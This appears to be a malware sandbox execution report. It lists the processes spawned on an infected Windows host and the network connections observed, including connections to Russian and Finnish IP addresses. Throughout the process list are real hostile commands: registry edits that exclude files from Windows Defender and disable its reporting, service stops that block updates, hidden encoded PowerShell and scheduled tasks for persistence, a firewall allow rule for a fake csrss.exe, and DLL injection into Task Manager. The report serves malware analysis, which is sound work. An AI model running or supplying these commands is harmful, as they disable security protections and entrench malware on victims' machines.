"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,13904799393368316218,9347351365929737179,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2192,17594325986548829259,6179915841968929475,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3956 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4092 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\40DC.exe
C:\Users\Admin\AppData\Local\Temp\40DC.exe
C:\Users\Admin\AppData\Local\Temp\4189.exe
C:\Users\Admin\AppData\Local\Temp\4189.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\438E.bat" "
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe
C:\Users\Admin\AppData\Local\Temp\4479.exe
C:\Users\Admin\AppData\Local\Temp\4479.exe
C:\Users\Admin\AppData\Local\Temp\4545.exe
C:\Users\Admin\AppData\Local\Temp\4545.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5920 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe
C:\Users\Admin\AppData\Local\Temp\4863.exe
C:\Users\Admin\AppData\Local\Temp\4863.exe
C:\Users\Admin\AppData\Local\Temp\4A78.exe
C:\Users\Admin\AppData\Local\Temp\4A78.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4516 -ip 4516
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6404 /prefetch:1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 784
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6496 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 828 -ip 828
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2ma938tn.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2ma938tn.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 540
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6084 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6084 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5048 /prefetch:8
C:\Users\Admin\AppData\Local\Temp\BEAF.exe
C:\Users\Admin\AppData\Local\Temp\BEAF.exe
C:\Users\Admin\AppData\Local\Temp\C18E.exe
C:\Users\Admin\AppData\Local\Temp\C18E.exe
C:\Users\Admin\AppData\Local\Temp\C2E7.exe
C:\Users\Admin\AppData\Local\Temp\C2E7.exe
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2860 -ip 2860
C:\Users\Admin\AppData\Local\Temp\kos4.exe
"C:\Users\Admin\AppData\Local\Temp\kos4.exe"
C:\Users\Admin\AppData\Local\Temp\7zSCB98.tmp\Install.exe
.\Install.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 784
C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
C:\Users\Admin\AppData\Local\Temp\D278.exe
C:\Users\Admin\AppData\Local\Temp\D278.exe
C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe
.\Install.exe /MKdidA "385119" /S
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp
"C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp" /SL5="$90118,6502186,54272,C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /F /TN "Z1026-1"
C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
C:\Program Files (x86)\Drive Tools\zDriveTools.exe
"C:\Program Files (x86)\Drive Tools\zDriveTools.exe" -i
C:\Program Files (x86)\Drive Tools\zDriveTools.exe
"C:\Program Files (x86)\Drive Tools\zDriveTools.exe" -s
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Query
\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gOjAPXjUe" /SC once /ST 02:49:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gOjAPXjUe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1108 -ip 1108
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 576
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\28C7.exe
C:\Users\Admin\AppData\Local\Temp\28C7.exe
C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gOjAPXjUe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bwpFiyeZPJPVdaMxTt" /SC once /ST 07:17:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qfiwemQmHAngVYpEP\nfIxQMeJQCLipql\zkdLTgY.exe\" 3Y /Mfsite_idCSk 385119 /S" /V1 /F
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\windefender.exe
C:\Windows\windefender.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\explorer.exe
C:\Windows\explorer.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 /prefetch:2
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.209.218.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| RU | 193.233.255.73:80 | 193.233.255.73 | tcp |
| FI | 77.91.124.1:80 | 77.91.124.1 | tcp |
| US | 8.8.8.8:53 | 73.255.233.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.124.91.77.in-addr.arpa | udp |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | www.facebook.com | udp |
| NL | 157.240.247.35:443 | www.facebook.com | tcp |
| US | 8.8.8.8:53 | accounts.google.com | udp |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| NL | 142.250.179.141:443 | accounts.google.com | udp |
| US | 8.8.8.8:53 | 35.247.240.157.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 142.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.179.250.142.in-addr.arpa | udp |
